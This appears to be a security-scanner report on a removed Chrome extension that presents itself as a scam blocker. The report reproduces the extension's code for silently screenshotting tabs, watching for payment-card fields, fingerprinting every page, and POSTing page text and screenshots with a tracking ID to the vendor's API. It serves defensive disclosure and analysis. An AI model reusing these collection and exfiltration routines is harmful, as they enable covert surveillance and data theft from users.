Paranoid Web Extension

ID: dnncmhkfafdcmjldmanfjhbeljcfbeao

Could be malicious

Supported Languages

🇧🇬Bulgarian
🇳🇱Dutch
🇺🇸English
🇫🇷French
🇩🇪German
🇬🇷Greek
🇮🇳Hindi
🇭🇺Hungarian
🇮🇹Italian
🇳🇴Norwegian
🇵🇱Polish
🇷🇴Romanian
🇷🇺Russian
🇪🇸Spanish
🇹🇭Thai
🇹🇷Turkish
🇺🇦Ukrainian
🇻🇳Vietnamese

Extension Info & Metadata

Status
Removed
Version
0.1.9.1
Size
14.22 MB
Rating
3.7/5
Reviews
38
Users
10,000
Type
Extension
Updated
Jul 24, 2024
Category
Make_chrome_yours Accessibility
Price
Free
Featured
No
Visibility
Unlisted
Mature
No
By Google
No
Trusted
No

Publisher Contextual Analysis

Author
https://webparanoid.comView Profile
Country
GB
MX records exist
Yes
Domain exists
Yes
Is disposable
No
Is role-based
No
Mailbox exists
Yes
Address
Unit 64002, Second Floor, 6 Market Place London W1W 8AF GB
Website
Visit
Total Extensions
1
Active
0
Obsolete
1
Listed
0
Unlisted
1
Total Users
10,000

Secure Shopping, Child Protection, Block Adult sites, Casino, and Dangerous Sites

The most advanced tool to block all types of dangerous sites including fake shops, phishing, and scam sites. Don't want to think every time is a site is safe or not, constantly check if it is fraudulent? We can do it for you. The Paranoid Web Extension checks every site you come across from an advertisement, email, or link from a friend or a colleague whose account may have been compromised. The extension was created to protect both new network users and experienced ones because not everyone can notice the substitution of a letter in the domain or analyze the site's reputation. Sometimes it is enough for hackers to create a fake financial site on a different domain zone (example: paypall.website ) and most of the users will simply ignore this and leave their account in the hands of scammers. Don't be afraid to shop on unfamiliar sites. We will alert you at the slightest hint of fraud. Paranoid Web Extension also blocks adult and gambling sites, casinos, etc. Protect yourself and your family. Installation and configuration take less than 3 minutes.

Item
Type
Severity
Description
<all_urls>
Host
Critical
Broad host access — the extension can read/modify content on every website.
Broad Host Permissions
Risk Factor
High
This extension has broad host permissions allowing it to access many or all websites.
Broad Content Script Access
Risk Factor
High
This extension can inject scripts into any website.
activeTab
Permission
Medium
This permission grants temporary access to the current tab. Rated Medium because it can access current page content when invoked, though limited to user-initiated actions.
storage
Permission
Medium
This permission allows storing data locally in the browser. Rated Medium because it can persist sensitive user data, track user activities over time, and potentially store malicious payloads.
unlimitedStorage
Permission
Medium
This permission removes storage quota restrictions. Rated Medium because it can store large amounts of user data without limits, potentially impacting browser performance and storing extensive tracking data.
http://*/
Host
Medium
Host permission — access limited to this URL pattern.
https://*/
Host
Medium
Host permission — access limited to this URL pattern.

The extension invokes `chrome.tabs.captureVisibleTab` to silently take a PNG screenshot of the active tab, then calls `GetVisibleText` to retrieve the full body text of the page. Both the screenshot (as a base64 data URI) and the page text are passed to `Object(m["a"])` (the `FullReport` function at line 4863), which POSTs them to `https://api.webparanoid.com/report` linked to the persistent user ID. The setting `SendScreenshotToUs: 1` is the hardcoded default, meaning this fires for all users unless explicitly disabled.

js/background.js (Line 5074)
function S(o, e, i) {  if ("string" === typeof o.reason && "adult" === o.reason && f.BlockBadSites && Object(c["h"])(e),    "string" === typeof o.alert) {    let i = o.message;    "code11" === i && (i = a.i18n.getMessage("ShopAlert")      .replace("{days}", o.age)), "code12" === i && (i = a.i18n.getMessage("NotificationAlert")      .replace("{days}", o.age)), chrome.tabs.captureVisibleTab(null, {      format: "png",      quality: 20    }, (function(a) {      new Promise((a, o) => {          chrome.tabs.sendMessage(e.id, {            id: e.id,            action: "GetVisibleText"          }, (function(o) {            a(o)          }))        })        .then(n => {          Object(m["a"])(o.incident, a, n), chrome.tabs.sendMessage(e.id, {            incident: o.incident,            id: e.id,            message: i,            code: o.alert,            domain: o.domain,            action: "open_dialog_box",            screenshot: a          })        }, a => {})    }))  }

This `FullReport` function serialises the user's persistent tracking ID (`ParanoidIdMd5`), a screenshot (base64 PNG), and the full visible page text, then exfiltrates them via a POST to `api.webparanoid.com/report`. It is called whenever the extension decides a visited site is suspicious — without explicit user consent to transmit screenshots and page content. The payload structure (`user`, `screenshot`, `text`) constitutes a surveillance-grade data collection pipeline.

js/background.js (Line 4863)
function i(a, o, e) {  const i = {};  chrome.storage.local.get(["ParanoidIdMd5"])    .then(o => {      i.user = o.ParanoidIdMd5, i.report = "FullReport", i.incident = a, i.screenshot = "", i.text = e;      const n = {        "Content-Type": "application/json"      };      fetch("https://api.webparanoid.com/report", {          method: "POST",          headers: n,          body: JSON.stringify(i)        })        .then(a => a.json())        .then(a => {})    })}

For every page load on every site, the extension assembles a fingerprinting payload that includes the full URL (`r.full`), user tracking ID, browser locale, page title, an MD5 hash of the favicon image, a structural "design hash" of the DOM (counts of input/img/a/div/span/p/form elements and image dimensions), and the visible page text — all submitted to `https://api.webparanoid.com/check` via `I()`. This constitutes pervasive cross-site browsing surveillance tied to a persistent per-user identifier.

js/background.js (Line 5135)
function B(a, o = {}, e = 4) {  "string" === typeof a.url && chrome.tabs.get(a.id, async i => {    ...    r.full = i.url;    ...    "true" === a.ignore && (r.cache = "fullignore"),    r.locale = chrome.i18n.getUILanguage(),    r    .user = a.ParanoidIdMd5,    r.title = _(i.title),    r.m = o.detectmail,    r.discount = o    .discount;    const c = new Promise((a, o) => {      "string" === typeof i.favIconUrl ? (r.icon = i.favIconUrl, fetch(r.icon)        .then(a => a.blob())        .then(o => {          x(o)            .then(o => {              const e = s.a.MD5(o.split(",", 2)[1])                .toString();              a(e)            })        })) : a("")    });    c.then((function(a) {      return r.icon = a, new Promise((a, o) => {        chrome.tabs.sendMessage(i.id, {          id: i.id,          action: "GetDesignHash"        }, (function(o) {          a(o)        }))      })    }))    .then((function(a) {      r.design = a, I(r, i, o.visibleText)    }))  })}

The extension polls every 3 seconds watching all `<input>` elements for payment-card attribute names (`cc-number`, `cardnumber`, `cvv`, `cvv2`, etc.). The moment a matching field is found it transmits the entire visible body text of the page — which may include pre-filled or auto-completed card data — to the background script via `chrome.runtime.sendMessage`. The background then forwards this as a `form` report to the remote API, making this a latent card-skimmer pattern.

js/content-script.js (Line 1162)
function j(a) {  const o = ["cc-type", "cc-exp", "cc-exp-year", "cc-exp-month", "cc-number", "cc-name", "cc-csc", "shipping",    "ccn", "cvv", "cvv2", "ccname", "cardnumber", "cvc", "ccmonth", "ccyear", "exp-date", "card-type"  ];  for (let i = 0, e = o.length; i < e; i++)    if (a.includes(o[i])) return !0;  return !1}function b(a) {  const o = setInterval((function() {    const a = document.getElementsByTagName("input");    if (0 !== a.length)      for (let i = 0, e = a.length; i < e; i++)        if (j(a[i].outerHTML)) return clearInterval(o), void chrome.runtime.sendMessage({          type: "form",          visibleText: document.querySelector("body")            .innerText        })  }), 3e3)}

On first run the extension contacts `api.webparanoid.com/user2` which returns a server-assigned tracking token stored as `ParanoidIdMd5`; if the request fails a hardcoded fallback MD5 is used. This token is then included in every subsequent report and check call, creating a persistent cross-site user identity known to the remote server. The server therefore correlates the complete browsing history of 10,000 users under a stable pseudonymous ID.

js/background.js (Line 5533)
fetch("https://api.webparanoid.com/user2?u=" + o, {    method: "POST",    headers: e,    body: JSON.stringify({      agent: "v3manifest"    })  })  .then(a => a.text())  .then(o => {    chrome.storage.local.set({        ParanoidIdMd5: o      })      .then(() => {}), h(o), a("")  })  .catch(o => {    chrome.storage.local.set({        ParanoidIdMd5: "9e7aa5c51cfe1d6922cd9a0c03387901"      })      .then(() => {})  })

The function reads the complete raw `document.body.innerHTML` and applies a regex to extract all email address-shaped strings. While the function only returns a boolean flag (does the page contain an email matching the site domain?), this flag is included in the `CheckPageScam` message and forwarded to the remote API as the `detectmail` field, confirming the extension actively scans every page's HTML for email addresses as part of its surveillance payload.

js/content-script.js (Line 1435)
function B() {  var a = document.body.innerHTML;  const o = a.toString(),    i = o.match(/([a-zA-Z0-9._-]+@[a-zA-Z0-9._-]+\.[a-zA-Z0-9._-]+)/gi);  if (null === i) return 0;  const e = P(window.location.hostname.replace("www.", ""));  for (var n = 0, t = i.length; n < t; n++)    if (i[n].includes(e)) return 1;  return 0}

In response to the `GetVisibleText` message sent by the background script (triggered after taking a tab screenshot), the content script returns the complete `body.innerText` of the current page to the background. This text is then included in the `FullReport` payload exfiltrated to `api.webparanoid.com/report`. This provides the remote server with full plaintext page content — including anything visible on banking, medical, or personal-data pages — tied to the persistent user ID.

js/content-script.js (Line 1455)
return "GetVisibleText" === a.action ? (i(document  .querySelector("body")  .innerText), !0)

After scanning up to 20 images per page with a local TensorFlow/Keras model (`model/model.json`) for adult content classification, the extension POSTs the domain hostname along with the persistent user ID to `api.webparanoid.com/report` with `report: "porn"`. This discloses to the remote server the specific sites each tracked user visits that contain flagged imagery, building a detailed behavioral profile without user awareness or consent.

js/background.js (Line 4881)
function n(a) {  chrome.storage.local.get(["ParanoidIdMd5"])    .then(o => {      const e = {};      e.user = o.ParanoidIdMd5, e.report = "porn", e.host = a;      const i = {        "Content-Type": "application/json"      };      fetch("https://api.webparanoid.com/report", {          method: "POST",          headers: i,          body: JSON.stringify(e)        })        .then(a => a.json())        .then(a => {})    })}

The background script can silently close the user's active tab and open a replacement tab without any warning dialog, triggered when the remote API classifies a visited URL as suspicious. Since the blocklist is fetched from `api.webparanoid.com/database`, the remote server has unilateral authority to redirect or close any tab for any of the 10,000 users — a remote-controlled browser manipulation capability.

js/background.js (Line 563)
function l(a) {  const o = new URL(a.url),    e = s.a.parse(o.host);  chrome.tabs.remove(a.id, (function() {})), chrome.tabs.create({    url: "https://" + e.domain  })}...!1 !== i["a"].includes(e) && (chrome.tabs.remove(a.id, (function() {})), chrome.tabs.create({    url: "https://google.com"  }))  ...  chrome.tabs.remove(a.id, (function() {})), chrome.tabs.create({    url: "https://" + e.domain  })

This web-accessible script (declared in `web_accessible_resources` matching `<all_urls>`) monkey-patches `Notification.requestPermission` on every page, injecting a hidden `<input>` element into `document.body.innerHTML` whenever any site requests notification permission. The content script polls for `#ParanoidFindalert` to trigger a notification-abuse report back to the extension, meaning the extension intercepts and instruments every site's permission request flow without disclosure.

detectnotification.js (Line 1)
const oldNotPerm = Notification.requestPermissionNotification.requestPermission = function() {  document.body.innerHTML +=    '<input type="hidden" id="ParanoidFindalert" class="ParanoidFindAlert" name="title" value="alert">'  return oldNotPerm.apply(this, arguments)}

By severity

Critical4
High5
Medium1
Low0

Versions scanned

Showing 1 of 25 scanned versions with more than one unique finding. Counts are unique findings that include each version.

Extension VersionCode Review Findings
0.1.9.110

Files with findings

3 distinct paths — top paths by unique finding count:

  • js/background.js6
  • js/content-script.js3
  • detectnotification.js1
S.No.
Category
Severity
File
Summary
Found in Version
1Credential Theft
critical
js/content-script.js (line 1162)The extension polls every 3 seconds watching all `<input>` elements for payment-card attribute names (`cc-number`, `cardnumber`, `cvv`, `cvv2`, etc.). The moment a matching field is found it transmits the entire visib…
2Data Exfiltration
critical
js/background.js (line 4863)This `FullReport` function serialises the user's persistent tracking ID (`ParanoidIdMd5`), a screenshot (base64 PNG), and the full visible page text, then exfiltrates them via a POST to `api.webparanoid.com/report`. I…
3Tracking
critical
js/background.js (line 5135)For every page load on every site, the extension assembles a fingerprinting payload that includes the full URL (`r.full`), user tracking ID, browser locale, page title, an MD5 hash of the favicon image, a structural "…
4Unauthorized Data Collection
critical
js/background.js (line 5074)The extension invokes `chrome.tabs.captureVisibleTab` to silently take a PNG screenshot of the active tab, then calls `GetVisibleText` to retrieve the full body text of the page. Both the screenshot (as a base64 data …
5Data Exfiltration
high
js/content-script.js (line 1455)In response to the `GetVisibleText` message sent by the background script (triggered after taking a tab screenshot), the content script returns the complete `body.innerText` of the current page to the background. This…
6Data Exfiltration
high
js/background.js (line 4881)After scanning up to 20 images per page with a local TensorFlow/Keras model (`model/model.json`) for adult content classification, the extension POSTs the domain hostname along with the persistent user ID to `api.webp…
7Privilege Escalation
high
js/background.js (line 563)The background script can silently close the user's active tab and open a replacement tab without any warning dialog, triggered when the remote API classifies a visited URL as suspicious. Since the blocklist is fetche…
8Tracking
high
js/background.js (line 5533)On first run the extension contacts `api.webparanoid.com/user2` which returns a server-assigned tracking token stored as `ParanoidIdMd5`; if the request fails a hardcoded fallback MD5 is used. This token is then inclu…
9Unauthorized Data Collection
high
js/content-script.js (line 1435)The function reads the complete raw `document.body.innerHTML` and applies a regex to extract all email address-shaped strings. While the function only returns a boolean flag (does the page contain an email matching th…
10Code Injection
medium
detectnotification.js (line 1)This web-accessible script (declared in `web_accessible_resources` matching `<all_urls>`) monkey-patches `Notification.requestPermission` on every page, injecting a hidden `<input>` element into `document.body.innerHT…
URLs
36
IPv4
129
IPv6
0

URLs

View the external URLs this extension communicates with to understand its network activity and data interactions.

Gain full insight into all external connections.

Upgrade for full visibility.

fonts.googleapis.com/css2https://fonts.googleapis.com/css2?family=Montserrat:ital,wght@0,300;0,400;0,600;0,700;1,300&display=swap
api.webparanoid.com/pixelhttps://api.webparanoid.com/pixel
clients2.google.com/service/update2/crxhttps://clients2.google.com/service/update2/crx
webparanoid.com-https://webparanoid.com
*-http://*/
*-https://*/
fonts.googleapis.com-https://fonts.googleapis.com
fonts.gstatic.com-https://fonts.gstatic.com
fonts.googleapis.com/css2https://fonts.googleapis.com/css2?family=Montserrat:wght@400;500;600;700&display=swap
www.w3.org/2000/svghttp://www.w3.org/2000/svg
Showing 1 to 10 of 40 rows
Rows per page:

Gain full insight into all external connections.

Upgrade for full visibility.

0.1.9.1
IPv4
-
5.4.4.6
IPv4
-
6.3.33.68
IPv4
-
13.13.23.23
IPv4
-
1.84.17.75
IPv4
-
2.4.37.81
IPv4
-
3.17.11.27
IPv4
-
2.54.25.81
IPv4
-
2.25.5.5
IPv4
-
2.152.242.63
IPv4
-
7.34.74.56
IPv4
-
2.15.4.4
IPv4
-
38.36.4.4
IPv4
-
1.7.43.43
IPv4
-
36.12.55.12
IPv4
-
35.12.54.12
IPv4
-
16.9.12.53
IPv4
-
14.22.13.48
IPv4
-
1.62.12.4
IPv4
-
3.35.94.96
IPv4
-
15.46.62.9
IPv4
-
2.12.4.28
IPv4
-
56.45.34.31
IPv4
-
17.16.32.35
IPv4
-
2.1.38.24
IPv4
-
28.1.54.22
IPv4
-
25.14.48.3
IPv4
-
16.18.36.32
IPv4
-
1.82.8.36
IPv4
-
2.5.73.24
IPv4
-
24.23.45.41
IPv4
-
1.25.93.44
IPv4
-
9.31.22.15
IPv4
-
29.4.55.8
IPv4
-
1.22.24.37
IPv4
-
15.37.25.72
IPv4
-
6.12.71.12
IPv4
-
73.8.7.44
IPv4
-
42.45.8.93
IPv4
-
1.45.2.3
IPv4
-
21.4.38.81
IPv4
-
1.24.15.44
IPv4
-
1.45.11.45
IPv4
-
38.1.72.23
IPv4
-
1.67.72.24
IPv4
-
12.46.22.65
IPv4
-
1.2.87.87
IPv4
-
16.16.26.38
IPv4
-
53.81.86.86
IPv4
-
21.42.4.97
IPv4
-
9.36.4.66
IPv4
-
33.7.33.95
IPv4
-
37.18.75.32
IPv4
-
4.83.84.7
IPv4
-
2.56.3.72
IPv4
-
32.34.96.9
IPv4
-
1.12.2.23
IPv4
-
3.63.2.51
IPv4
-
35.15.54.18
IPv4
-
4.74.8.64
IPv4
-
41.25.83.49
IPv4
-
3.37.2.43
IPv4
-
22.42.5.8
IPv4
-
1.95.93.74
IPv4
-
2.56.36.76
IPv4
-
15.12.3.21
IPv4
-
1.67.8.6
IPv4
-
1.4.46.42
IPv4
-
5.79.17.38
IPv4
-
4.33.58.6
IPv4
-
15.28.19.61
IPv4
-
45.21.84.53
IPv4
-
1.12.94.43
IPv4
-
1.77.1.23
IPv4
-
15.48.15.73
IPv4
-
48.13.79.79
IPv4
-
1.68.96.96
IPv4
-
48.14.8.8
IPv4
-
1.74.95.95
IPv4
-
4.14.74.4
IPv4
-
22.16.48.24
IPv4
-
56.18.74.74
IPv4
-
25.55.74.74
IPv4
-
10.41.57.22
IPv4
-
1.55.56.22
IPv4
-
1.76.26.61
IPv4
-
16.2.13.17
IPv4
-
1.23.17.47
IPv4
-
1.8.42.27
IPv4
-
2.3.42.43
IPv4
-
3.14.6.15
IPv4
-
1.35.14.52
IPv4
-
42.3.8.74
IPv4
-
36.44.7.82
IPv4
-
43.24.79.68
IPv4
-
36.44.52.85
IPv4
-
1.58.55.57
IPv4
-
1.82.91.94
IPv4
-
1.58.85.88
IPv4
-
1.47.87.8
IPv4
-
19.45.27.94
IPv4
-
2.13.96.96
IPv4
-
2.1.46.13
IPv4
-
2.1.46.12
IPv4
-
1.58.34.94
IPv4
-
5.4.62.62
IPv4
-
7.24.72.72
IPv4
-
17.75.73.73
IPv4
-
18.66.7.7
IPv4
-
8.79.7.7
IPv4
-
22.56.91.91
IPv4
-
1.7.95.95
IPv4
-
44.73.48.48
IPv4
-
28.35.6.6
IPv4
-
23.18.5.3
IPv4
-
26.12.63.1
IPv4
-
23.15.5.38
IPv4
-
1.85.63.5
IPv4
-
4.3.75.66
IPv4
-
69.8.3.3
IPv4
-
1.4.3.7
IPv4
-
5.3.8.8
IPv4
-
1.4.2.5
IPv4
-
5.4.8.8
IPv4
-
13.8.2.5
IPv4
-
13.7.2.4
IPv4
-
13.7.2.5
IPv4
-
13.8.3.5
IPv4
-
5.3.8.7
IPv4
-
Showing 1 to 129 of 130 rows
Rows per page:
Showing 1 to 10 of 30 rows
Rows per page:

Code Diff

Compare extension code between any two versions.

0 changed files (scanned top 25 shared text files)

No comparable text files found between these versions.

Browse and explore files within this extension package

Gain full insight into all external connections.

Upgrade for full visibility.